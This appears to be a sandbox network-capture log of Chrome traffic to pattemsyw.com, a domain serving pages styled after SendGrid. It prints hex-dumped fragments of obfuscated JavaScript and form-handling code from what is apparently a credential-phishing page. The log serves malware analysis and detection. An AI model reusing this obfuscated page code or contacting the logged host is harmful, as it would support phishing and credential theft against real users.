_0x37f32d=['\x74\x61\x62\x6c\x65','\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x20\x29','\x70\x72\x6f\x74
2025-04-21 09:32:31 UTC	71	IN	Data Raw: 78 36 63 5c 78 36 66 5c 78 37 32 5c 78 32 35 5c 78 33 33 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 37 37 5c 78 36 38 5c 78 36 39 5c 78 37 34 5c 78 36 35 5c 78 32 35 5c 78 33 33 5c 78 34 32 5c 78 32 35 Data Ascii: x6c\x6f\x72\x25\x33\x41\x25\x32\x30\x77\x68\x69\x74\x65\x25\x33\x42\x25
2025-04-21 09:32:31 UTC	16384	IN	Data Raw: 5c 78 33 30 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 37 61 5c 78 32 64 5c 78 36 39 5c 78 36 65 5c 78 36 34 5c 78 36 35 5c 78 37 38 5c 78 32 35 5c 78 33 33 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 33 31 5c 78 33 30 5c 78 33 30 5c 78 33 30 5c 78 32 35 5c 78 33 33 5c 78 34 32 5c 78 32 35 5c 78 33 30 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 Data Ascii: \x30\x41\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x7a\x2d\x69\x6e\x64\x65\x78\x25\x33\x41\x25\x32\x30\x31\x30\x30\x30\x25\x33\x42\x25\x30\x41\x25\x32\x3
2025-04-21 09:32:31 UTC	16384	IN	Data Raw: 5c 78 36 65 5c 78 36 66 5c 78 36 65 5c 78 36 35 5c 78 32 35 5c 78 33 33 5c 78 34 32 5c 78 32 35 5c 78 33 30 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 36 33 5c 78 37 35 5c 78 37 32 5c 78 37 33 5c 78 36 66 5c 78 37 32 5c 78 32 35 5c 78 33 33 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 36 34 5c 78 36 35 5c 78 36 36 5c 78 36 31 5c 78 37 35 5c 78 36 63 5c 78 37 34 5c 78 32 35 5c 78 33 33 5c 78 34 32 5c 78 32 35 5c 78 33 30 5c 78 34 31 5c 78 32 35 5c 78 33 37 5c 78 34 34 5c 78 32 35 5c 78 33 30 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 Data Ascii: \x6e\x6f\x6e\x65\x25\x33\x42\x25\x30\x41\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x63\x75\x72\x73\x6f\x72\x25\x33\x41\x25\x32\x30\x64\x65\x66\x61\x75\x6c\x74\x25\x33\x42\x25\x30\x41\x25\x37\x44\x25\x30\x41\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x3
2025-04-21 09:32:31 UTC	16384	IN	Data Raw: 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 Data Ascii: \x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x2
2025-04-21 09:32:31 UTC	16384	IN	Data Raw: 5c 78 37 34 5c 78 32 64 5c 78 35 34 5c 78 37 39 5c 78 37 30 5c 78 36 35 5c 78 32 35 5c 78 33 32 5c 78 33 37 5c 78 32 35 5c 78 33 32 5c 78 34 33 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 37 5c 78 36 31 5c 78 37 30 5c 78 37 30 5c 78 36 63 5c 78 36 39 5c 78 36 33 5c 78 36 31 5c 78 37 34 5c 78 36 39 5c 78 36 66 5c 78 36 65 5c 78 32 66 5c 78 37 38 5c 78 32 64 5c 78 37 37 5c 78 37 37 5c 78 37 37 5c 78 32 64 5c 78 36 36 5c 78 36 66 5c 78 37 32 5c 78 36 64 5c 78 32 64 5c 78 37 35 5c 78 37 32 5c 78 36 63 5c 78 36 35 5c 78 36 65 5c 78 36 33 5c 78 36 66 5c 78 36 34 5c 78 36 35 5c 78 36 34 5c 78 32 35 5c 78 33 32 5c 78 33 37 5c 78 32 35 5c 78 33 32 5c 78 33 39 5c 78 32 35 5c 78 33 33 5c 78 34 32 5c 78 32 35 5c 78 33 30 5c 78 34 31 5c 78 32 Data Ascii: \x74\x2d\x54\x79\x70\x65\x25\x32\x37\x25\x32\x43\x25\x32\x30\x25\x32\x37\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65\x64\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x41\x2
2025-04-21 09:32:31 UTC	16384	IN	Data Raw: 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 36 33 5c 78 36 66 5c 78 36 65 5c 78 37 34 5c 78 36 39 5c 78 36 65 5c 78 37 35 5c 78 36 35 5c 78 34 32 5c 78 37 34 5c 78 36 65 5c 78 32 65 5c 78 36 33 5c 78 36 63 5c 78 36 31 5c 78 37 33 5c 78 37 33 5c 78 34 63 5c 78 36 39 5c 78 37 33 5c 78 37 34 5c 78 32 65 5c 78 37 32 5c 78 36 35 5c 78 36 64 5c 78 36 66 5c 78 37 36 5c 78 36 35 5c 78 32 35 5c 78 33 32 5c 78 33 38 5c 78 32 35 5c 78 33 32 5c 78 33 37 5c 78 36 31 5c 78 36 33 5c 78 37 34 5c 78 36 39 5c 78 37 36 5c 78 36 35 5c 78 32 35 5c 78 33 32 5c 78 33 37 5c 78 32 35 5c 78 33 32 5c 78 33 39 5c 78 32 35 5c 78 33 33 5c 78 34 32 5c 78 32 35 5c 78 33 30 5c 78 34 31 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 Data Ascii: \x32\x30\x25\x32\x30\x25\x32\x30\x63\x6f\x6e\x74\x69\x6e\x75\x65\x42\x74\x6e\x2e\x63\x6c\x61\x73\x73\x4c\x69\x73\x74\x2e\x72\x65\x6d\x6f\x76\x65\x25\x32\x38\x25\x32\x37\x61\x63\x74\x69\x76\x65\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x41\x25\x32\x30\x2
2025-04-21 09:32:31 UTC	16384	IN	Data Raw: 5c 78 36 63 5c 78 32 35 5c 78 33 33 5c 78 34 32 5c 78 36 32 5c 78 36 31 5c 78 37 33 5c 78 36 35 5c 78 33 36 5c 78 33 34 5c 78 32 35 5c 78 33 32 5c 78 34 33 5c 78 35 30 5c 78 34 34 5c 78 33 39 5c 78 33 34 5c 78 36 32 5c 78 35 37 5c 78 37 37 5c 78 36 37 5c 78 36 34 5c 78 36 64 5c 78 35 36 5c 78 37 39 5c 78 36 33 5c 78 33 32 5c 78 36 63 5c 78 37 36 5c 78 36 32 5c 78 36 61 5c 78 33 30 5c 78 36 39 5c 78 34 64 5c 78 35 33 5c 78 33 34 5c 78 37 37 5c 78 34 39 5c 78 36 39 5c 78 34 32 5c 78 36 63 5c 78 36 32 5c 78 36 64 5c 78 34 65 5c 78 37 36 5c 78 35 61 5c 78 34 37 5c 78 36 63 5c 78 37 35 5c 78 35 61 5c 78 37 61 5c 78 33 30 5c 78 36 39 5c 78 36 34 5c 78 35 38 5c 78 35 32 5c 78 36 64 5c 78 34 63 5c 78 35 34 5c 78 36 37 5c 78 36 39 5c 78 35 30 5c 78 37 61 5c 78 33 Data Ascii: \x6c\x25\x33\x42\x62\x61\x73\x65\x36\x34\x25\x32\x43\x50\x44\x39\x34\x62\x57\x77\x67\x64\x6d\x56\x79\x63\x32\x6c\x76\x62\x6a\x30\x69\x4d\x53\x34\x77\x49\x69\x42\x6c\x62\x6d\x4e\x76\x5a\x47\x6c\x75\x5a\x7a\x30\x69\x64\x58\x52\x6d\x4c\x54\x67\x69\x50\x7a\x3
2025-04-21 09:32:31 UTC	16384	IN	Data Raw: 5c 78 37 38 5c 78 34 63 5c 78 36 61 5c 78 35 35 5c 78 36 37 5c 78 34 64 5c 78 35 34 5c 78 34 35 5c 78 37 61 5c 78 34 63 5c 78 36 61 5c 78 34 35 5c 78 37 33 5c 78 34 64 5c 78 35 34 5c 78 34 31 5c 78 33 35 5c 78 34 39 5c 78 34 34 5c 78 34 35 5c 78 37 38 5c 78 34 64 5c 78 37 39 5c 78 33 34 5c 78 37 38 5c 78 34 63 5c 78 34 34 5c 78 34 35 5c 78 37 37 5c 78 34 66 5c 78 35 33 5c 78 34 31 5c 78 34 61 5c 78 34 39 5c 78 36 39 5c 78 33 38 5c 78 32 62 5c 78 34 34 5c 78 35 31 5c 78 36 66 5c 78 34 61 5c 78 35 30 5c 78 34 38 5c 78 34 61 5c 78 36 63 5c 78 35 39 5c 78 33 33 5c 78 35 31 5c 78 36 37 5c 78 36 35 5c 78 34 34 5c 78 33 30 5c 78 36 39 5c 78 34 64 5c 78 35 34 5c 78 34 35 5c 78 37 61 5c 78 34 63 5c 78 36 61 5c 78 34 35 5c 78 36 39 5c 78 34 39 5c 78 34 38 5c 78 36 Data Ascii: \x78\x4c\x6a\x55\x67\x4d\x54\x45\x7a\x4c\x6a\x45\x73\x4d\x54\x41\x35\x49\x44\x45\x78\x4d\x79\x34\x78\x4c\x44\x45\x77\x4f\x53\x41\x4a\x49\x69\x38\x2b\x44\x51\x6f\x4a\x50\x48\x4a\x6c\x59\x33\x51\x67\x65\x44\x30\x69\x4d\x54\x45\x7a\x4c\x6a\x45\x69\x49\x48\x6
2025-04-21 09:32:31 UTC	16384	IN	Data Raw: 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 35 5c 78 33 32 5c 78 33 30 5c 78 32 Data Ascii: \x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x25\x32\x30\x2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	172.67.138.38	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-21 09:32:34 UTC	550	OUT	GET /sendgrid/tiara.css HTTP/1.1 Host: pattemsyw.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-21 09:32:34 UTC	375	IN	HTTP/1.1 200 OK Date: Mon, 21 Apr 2025 09:32:34 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Server: cloudflare Last-Modified: Thu, 23 May 2024 08:33:34 GMT Etag: W/"664eff5e-60c6" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cf-Cache-Status: MISS CF-RAY: 933bdffb1f961a78-PHX alt-svc: h3=":443"; ma=86400
2025-04-21 09:32:34 UTC	994	IN	Data Raw: 33 38 31 39 0d 0a 2e 6d 6f 64 61 6c 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 7d 0d 0a 0d 0a 2e 74 69 61 72 61 2d 63 6f 6e 74 61 69 6e 65 72 2c 0d 0a 2e 74 69 61 72 61 2d 68 65 61 64 65 72 73 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 20 7d 0d 0a 0d 0a 62 6f 64 79 20 2e 74 69 61 72 61 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 69 61 72 61 2d 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 77 69 64 74 68 3a 20 31 30 30 76 77 3b 0d 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 30 76 77 3b 20 7d 0d 0a 0d 0a 2e 74 69 61 72 61 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 7d 0d 0a 0d 0a 2e 6e 61 76 62 61 72 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 Data Ascii: 3819.modal { display: none; }.tiara-container,.tiara-headers { display: block; }body .tiara-container .tiara-content-container { width: 100vw; max-width: 100vw; }.tiara-container { width: 100%; }.navbar { display: tab
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 20 20 20 68 65 69 67 68 74 3a 20 31 36 70 78 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 36 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 20 7d 0d 0a 20 20 2e 61 70 70 63 75 65 73 2d 77 69 64 67 65 74 20 2e 61 70 70 63 75 65 73 2d 69 63 6f 6e 20 7b 0d 0a 20 20 20 20 74 6f 70 3a 20 30 70 78 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 36 34 70 78 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 20 7d 0d 0a 0d 0a 2e 61 70 70 63 75 65 73 2d 77 69 64 67 65 74 2d 64 72 6f 70 64 6f 77 6e 20 7b 0d 0a 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 45 39 45 43 45 46 Data Ascii: height: 16px; width: 16px; font-weight: 500; font-size: 11px; } .appcues-widget .appcues-icon { top: 0px; width: 164px; position: absolute; height: 30px; }.appcues-widget-dropdown { border: 1px solid #E9ECEF
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 20 7d 0d 0a 20 20 5b 64 61 74 61 2d 74 69 61 72 61 2d 67 65 6e 65 72 61 74 65 64 5d 20 2e 61 63 63 6f 75 6e 74 2d 6c 6f 67 6f 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 7d 0d 0a 20 20 5b 64 61 74 61 2d 74 69 61 72 61 2d 67 65 6e 65 72 61 74 65 64 5d 20 2e 61 63 63 6f 75 6e 74 2d 6e 61 6d 65 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 74 6f 70 3a 20 32 70 78 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 Data Ascii: position: relative; width: 100%; height: 20px; overflow: hidden; } [data-tiara-generated] .account-logo { position: absolute; } [data-tiara-generated] .account-name { position: relative; top: 2px; display: inline-b
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0d 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 32 70 78 3b 20 7d 0d 0a 20 20 5b 64 61 74 61 2d 74 69 61 72 61 2d 67 65 6e 65 72 61 74 65 64 5d 20 2e 69 6d 70 65 72 73 6f 6e 61 74 69 6f 6e 2d 62 61 6e 6e 65 72 20 7b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 62 66 62 66 63 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 65 39 65 63 65 66 3b 20 7d 0d 0a 20 20 5b 64 61 74 61 2d 74 69 61 72 61 2d 67 65 6e 65 72 61 74 65 64 5d 20 2e 69 6d 70 65 72 73 6f 6e 61 74 69 6f 6e 2d 62 61 6e 6e 65 72 2d 62 61 63 6b 2c 0d 0a 20 20 5b 64 61 74 61 2d 74 69 61 72 61 2d 67 65 6e 65 72 Data Ascii: -size: 18px; line-height: 22px; } [data-tiara-generated] .impersonation-banner { text-align: center; background: #fbfbfc; border-bottom: 1px solid #e9ecef; } [data-tiara-generated] .impersonation-banner-back, [data-tiara-gener
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 3b 0d 0a 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 20 20 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 76 69 73 69 62 6c 65 3b 20 7d 0d 0a 20 20 5b 64 61 74 61 2d 74 69 61 72 61 2d 67 65 6e 65 72 61 74 65 64 5d 20 2e 70 61 67 65 73 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 30 70 78 3b 20 7d 0d 0a 20 20 5b 64 61 74 61 2d 74 69 61 72 61 2d 67 65 6e 65 72 61 74 65 64 5d 20 2e 70 61 67 65 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0d 0a 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 20 7d 0d 0a 20 20 20 20 5b 64 61 74 61 2d 74 69 61 72 61 2d 67 65 6e 65 72 61 74 65 64 5d 20 2e 70 61 67 65 2e 69 73 2d 61 63 74 69 76 65 20 2e 70 61 67 65 2d 6c 69 6e 6b 20 7b 0d 0a 20 20 Data Ascii: ; opacity: 1; visibility: visible; } [data-tiara-generated] .pages { margin-top: 50px; } [data-tiara-generated] .page { margin-bottom: 30px; cursor: pointer; } [data-tiara-generated] .page.is-active .page-link {
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 39 34 36 36 31 3b 0d 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 36 3b 0d 0a 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 20 7d 0d 0a 20 20 20 20 5b 64 61 74 61 2d 74 69 61 72 61 2d 67 65 6e 65 72 61 74 65 64 5d 20 2e 73 75 62 70 61 67 65 2d 6c 69 6e 6b 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 38 3b 20 7d 0d 0a 20 20 5b 64 61 74 61 2d 74 69 61 72 61 2d 67 65 6e 65 72 61 74 65 64 5d 20 2e 73 75 62 70 61 67 65 2e 69 73 2d 61 63 74 69 76 65 20 2e 73 75 62 70 61 67 65 2d 6c 69 6e 6b 20 7b 0d 0a Data Ascii: line-height: 18px; color: #294661; text-decoration: none; opacity: 0.6; box-sizing: border-box; } [data-tiara-generated] .subpage-link:hover { opacity: 0.8; } [data-tiara-generated] .subpage.is-active .subpage-link {
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 78 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0d 0a 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 33 70 78 20 30 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 35 29 3b 20 7d 0d 0a 20 20 20 20 5b 64 61 74 61 2d 74 69 61 72 61 2d 67 65 6e 65 72 61 74 65 64 5d 20 2e 73 70 6f 74 6c 69 67 68 74 2d 74 6f 6f 6c 74 69 70 3a 3a 61 66 74 65 72 2c 20 5b 64 61 74 61 2d 74 69 61 72 61 2d 67 65 6e 65 72 61 74 65 64 5d 20 2e 73 70 6f 74 6c 69 67 68 74 2d 74 6f 6f 6c 74 69 70 3a 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f Data Ascii: x; text-align: center; background: #fff; border-radius: 4px; box-shadow: 0 1px 3px 0 rgba(0, 0, 0, 0.5); } [data-tiara-generated] .spotlight-tooltip::after, [data-tiara-generated] .spotlight-tooltip::before { position: abso
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 2d 35 70 78 3b 0d 0a 20 20 20 20 74 6f 70 3a 20 2d 35 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 62 37 31 62 31 62 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 6f 6e 61 72 2d 61 6e 69 6d 61 74 65 20 33 73 20 69 6e 66 69 6e 69 74 65 20 65 61 73 65 2d 6f 75 74 3b 20 7d 0d 0a 20 20 5b 64 61 74 61 2d 74 69 61 Data Ascii: position: absolute; width: 10px; height: 10px; left: -5px; top: -5px; border-radius: 100%; background-color: #b71b1b; z-index: 9999; opacity: 0; animation: sonar-animate 3s infinite ease-out; } [data-tia
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 3b 20 7d 0d 0a 20 20 20 20 5b 64 61 74 61 2d 74 69 61 72 61 2d 67 65 6e 65 72 61 74 65 64 5d 20 5b 64 61 74 61 2d 62 61 6c 6c 6f 6f 6e 5d 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 2d 72 65 70 65 61 74 20 75 72 6c 28 22 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 2c 25 33 43 73 76 67 25 32 30 78 6d 6c 6e 73 25 33 44 25 32 32 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 25 32 32 25 32 30 77 69 64 74 68 25 33 44 25 32 32 33 36 70 78 25 32 32 25 32 30 68 65 69 67 68 74 25 33 44 25 32 32 31 32 70 78 25 32 32 25 33 45 25 33 43 70 61 74 68 25 32 30 66 69 6c 6c 25 33 44 25 32 32 23 32 39 34 36 36 31 25 32 32 25 32 30 74 72 61 6e Data Ascii: ; } [data-tiara-generated] [data-balloon]:before { background: no-repeat url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http://www.w3.org/2000/svg%22%20width%3D%2236px%22%20height%3D%2212px%22%3E%3Cpath%20fill%3D%22#294661%22%20tran
2025-04-21 09:32:34 UTC	1369	IN	Data Raw: 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 31 30 30 29 22 3b 0d 0a 20 20 20 20 20 20 2d 6d 6f 7a 2d 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 20 20 20 20 2d 6b 68 74 6d 6c 2d 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 31 3b 0d 0a 20 20 20 20 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 61 75 74 6f 3b 20 7d 0d 0a 20 20 20 20 5b 64 61 74 61 2d 74 69 61 72 61 2d 67 65 6e 65 72 61 74 65 64 5d 20 5b 64 61 74 61 2d 62 61 6c 6c 6f 6f 6e 5d 5b 64 61 74 61 2d 62 61 6c 6c 6f 6f 6e 2d 62 72 65 61 6b 5d 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 72 6d 61 6c 3b 20 7d 0d 0a 20 20 20 20 5b 64 61 74 61 2d Data Ascii: geTransform.Microsoft.Alpha(Opacity=100)"; -moz-opacity: 1; -khtml-opacity: 1; opacity: 1; pointer-events: auto; } [data-tiara-generated] [data-balloon][data-balloon-break]:after { white-space: normal; } [data-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	172.67.138.38	443	832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
